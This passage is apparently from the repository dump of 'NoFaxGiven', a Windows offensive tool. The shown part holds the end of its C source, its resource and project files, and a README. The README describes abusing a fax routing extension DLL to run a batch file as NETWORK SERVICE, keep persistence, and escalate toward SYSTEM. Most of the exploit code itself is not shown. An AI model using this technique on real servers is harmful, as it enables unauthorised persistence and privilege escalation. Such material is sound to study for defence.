(such as when connecting via mmc fxsadmin or using "net start fax"). */ 86 | if (RegDeleteTree(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Fax\\Routing Extensions\\FaxOff")) { 87 | printf("[-] error deleting the extension!\n"); 88 | } 89 | FaxClose(hFaxServer); 90 | printf("[+] Done\n"); 91 | return EXIT_SUCCESS; 92 | } 93 | -------------------------------------------------------------------------------- /NoFaxGiven/NoFaxGiven.rc: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "winres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // English (United States) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) 19 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US 20 | #pragma code_page(1252) 21 | 22 | #ifdef APSTUDIO_INVOKED 23 | ///////////////////////////////////////////////////////////////////////////// 24 | // 25 | // TEXTINCLUDE 26 | // 27 | 28 | 1 TEXTINCLUDE 29 | BEGIN 30 | "resource.h\0" 31 | END 32 | 33 | 2 TEXTINCLUDE 34 | BEGIN 35 | "#include ""winres.h""\r\n" 36 | "\0" 37 | END 38 | 39 | 3 TEXTINCLUDE 40 | BEGIN 41 | "\r\n" 42 | "\0" 43 | END 44 | 45 | #endif // APSTUDIO_INVOKED 46 | 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | // 50 | // Icon 51 | // 52 | 53 | // Icon with lowest ID value placed first to ensure application icon 54 | // remains consistent on all systems. 55 | IDI_ICON3 ICON "res\\pinkiepie_ponylib.ico" 56 | 57 | #endif // English (United States) resources 58 | ///////////////////////////////////////////////////////////////////////////// 59 | 60 | 61 | 62 | #ifndef APSTUDIO_INVOKED 63 | ///////////////////////////////////////////////////////////////////////////// 64 | // 65 | // Generated from the TEXTINCLUDE 3 resource. 66 | // 67 | 68 | 69 | ///////////////////////////////////////////////////////////////////////////// 70 | #endif // not APSTUDIO_INVOKED 71 | 72 | -------------------------------------------------------------------------------- /NoFaxGiven/NoFaxGiven.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {710DF201-EF03-473E-89B1-3F14484A6014} 24 | Win32Proj 25 | ConsoleApplication1 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | Static 35 | 36 | 37 | Application 38 | false 39 | v143 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v143 47 | Unicode 48 | Static 49 | 50 | 51 | Application 52 | false 53 | v143 54 | true 55 | Unicode 56 | Static 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | true 78 | 79 | 80 | true 81 | $(ProjectName)_x64 82 | 83 | 84 | false 85 | 86 | 87 | false 88 | $(ProjectName)_x64 89 | 90 | 91 | 92 | 93 | 94 | Level3 95 | true 96 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 97 | true 98 | 99 | 100 | Console 101 | true 102 | 103 | 104 | 105 | 106 | 107 | 108 | Level3 109 | true 110 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 111 | true 112 | 113 | 114 | Console 115 | true 116 | 117 | 118 | 119 | 120 | 121 | 122 | Level3 123 | true 124 | true 125 | true 126 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 127 | true 128 | 129 | 130 | Console 131 | true 132 | true 133 | true 134 | 135 | 136 | 137 | 138 | 139 | 140 | Level3 141 | true 142 | true 143 | true 144 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 145 | true 146 | 147 | 148 | Console 149 | true 150 | true 151 | true 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | -------------------------------------------------------------------------------- /NoFaxGiven/res/pinkiepie_ponylib.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackerhouse-opensource/NoFaxGiven/d1971796a9dc89ab59c37c4aa1c155cf95a22ede/NoFaxGiven/res/pinkiepie_ponylib.ico -------------------------------------------------------------------------------- /NoFaxGiven/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by NoFaxGiven.rc 4 | // 5 | #define IDI_ICON1 102 6 | #define IDR_MAINFRAME 102 7 | #define IDI_ICON2 103 8 | #define IDI_EXEICON 103 9 | #define IDI_ICON3 104 10 | 11 | // Next default values for new objects 12 | // 13 | #ifdef APSTUDIO_INVOKED 14 | #ifndef APSTUDIO_READONLY_SYMBOLS 15 | #define _APS_NEXT_RESOURCE_VALUE 105 16 | #define _APS_NEXT_COMMAND_VALUE 40001 17 | #define _APS_NEXT_CONTROL_VALUE 1001 18 | #define _APS_NEXT_SYMED_VALUE 101 19 | #endif 20 | #endif 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NoFaxGiven - Code Execution & Persistence in NETWORK SERVICE FAX Service 2 | 3 | A fax routing extension is a DLL that adds routing functionality to the fax service. Multiple 4 | fax routing extensions can reside on one server. When the fax server receives a fax transmission, 5 | it routes the received document through each of the fax routing extensions in order of priority. 6 | A user sets the routing priority using the fax service administration application, a Microsoft 7 | Management Console (MMC) snap-in component. The FAX service runs manually when an application 8 | requests a connection to the FAX service, (such as when loading fxsadmin in MMC). On Desktops the 9 | service is present but will timeout when attempting to set extensions as requires config & role. 10 | More on MSDN. Administrator rights are required to interact with the service by default, if a 11 | user has the FAX Config roles to the FAX service and is elevated then they may extend the FAX service. 12 | This exploit requires the FAX server role which is not available on workstations by default. It is 13 | installed on Servers that enable Fax & Print Services. 14 | 15 | Users in the FAX Group who have the FAX Config role can also add / remove extensions which maybe 16 | configured with 3rd party FAX programs. FAX Config role is supplied to users in the local Administrator 17 | or Domain Administrator group by default, additional users must have explicitly been defined in 18 | FAX service user configuration if using as part of a privilege escalation path in Active Directory. 19 | 20 | Learn more: 21 | https://docs.microsoft.com/en-us/previous-versions/windows/desktop/fax/-mfax-fax-routing-extension 22 | 23 | We can also persist inside the FAX service - our DLL will be called each time the service is started, 24 | which is not automatically called on a reboot so would only offer persistence on servers that 25 | are actively using FAX features, it also offers an attacker an alternative pathway to SYSTEM from 26 | Administrator privileges as you can escalate from the Network Service to SYSTEM. 27 | 28 | Extends the FAX service to execute any commands in c:\temp\run.bat once and cleans up the FXSSVC. Uses 29 | Fax Extension DLL with appropriate callbacks to start/stop FAX service reliably, the extension launches 30 | commands from bat file. You can prevent removal of the DLL for "persistence" purposes which will run the 31 | batch command file any time the FAX service is used, such as when opening, sending or recieving FAX. 32 | 33 | Compile this Project with Visual Studio 22, both x86 and x64 static binaries will be produced that 34 | require to be in the same directory. 35 | 36 | ``` 37 | C:\Windows\system32>whoami 38 | nt authority\network service 39 | 40 | C:\Windows\system32>whoami /priv 41 | 42 | PRIVILEGES INFORMATION 43 | ---------------------- 44 | 45 | Privilege Name Description State 46 | ============================= ========================================= ======== 47 | SeAssignPrimaryTokenPrivilege Replace a process level token Disabled 48 | SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled 49 | SeAuditPrivilege Generate security audits Enabled 50 | SeChangeNotifyPrivilege Bypass traverse checking Enabled 51 | SeImpersonatePrivilege Impersonate a client after authentication Enabled 52 | SeCreateGlobalPrivilege Create global objects Enabled 53 | 54 | ``` 55 | 56 | These files are available under a Attribution-NonCommercial-NoDerivatives 4.0 International license. 57 | --------------------------------------------------------------------------------